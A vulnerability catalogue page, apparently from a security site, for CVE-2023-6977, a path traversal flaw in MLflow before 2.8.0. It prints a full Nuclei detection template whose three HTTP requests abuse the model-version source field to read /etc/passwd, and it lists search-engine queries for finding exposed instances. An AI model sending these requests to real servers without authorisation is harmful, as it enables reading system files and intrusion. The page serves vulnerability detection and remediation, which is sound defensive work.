HexBrain

Browse / CVEs / CVE-2023-6977

CVE-2023-6977· lfprojects / mlflow· CWE-29

Mlflow <2.8.0 - Local File Inclusion

highseverity
7.5CVSS score
3.9%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

Mlflow before 2.8.0 is susceptible to local file inclusion due to path traversal in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation could allow an attacker to read sensitive files on the server.

Fix

Upgrade Mlflow to version 2.9.2 or later to mitigate the vulnerability.

How to confirm it

Send: POST /ajax-api/2.0/mlflow/registered-models/create ; POST /ajax-api/2.0/mlflow/model-versions/create ; GET /model-versions/get-artifact?name={{randstr}}&path=etc%2Fpasswd&version=1
Positive when: matches /root:.*:0:0:/ AND contains in header_3 "filename=passwd" and "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2023-6977 -u <target>

The full check
id: CVE-2023-6977

info:
  name: Mlflow <2.8.0 - Local File Inclusion
  author: gy741
  severity: high
  description: |
    Mlflow before 2.8.0 is susceptible to local file inclusion due to path traversal in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation could allow an attacker to read sensitive files on the server.
  remediation: |
    Upgrade Mlflow to version 2.9.2 or later to mitigate the vulnerability.
  reference:
    - https://huntr.com/bounties/fe53bf71-3687-4711-90df-c26172880aaf
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6977
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6977
    cwe-id: CWE-29
    epss-score: 0.03924
    epss-percentile: 0.90439
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2023,mlflow,oss,lfi,intrusive,lfprojects,vuln

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8

        {"name":"{{randstr}}"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8

        {"name":"{{randstr}}","source":"//proc/self/root"}

      - |
        GET /model-versions/get-artifact?name={{randstr}}&path=etc%2Fpasswd&version=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header_3
        words:
          - "filename=passwd"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from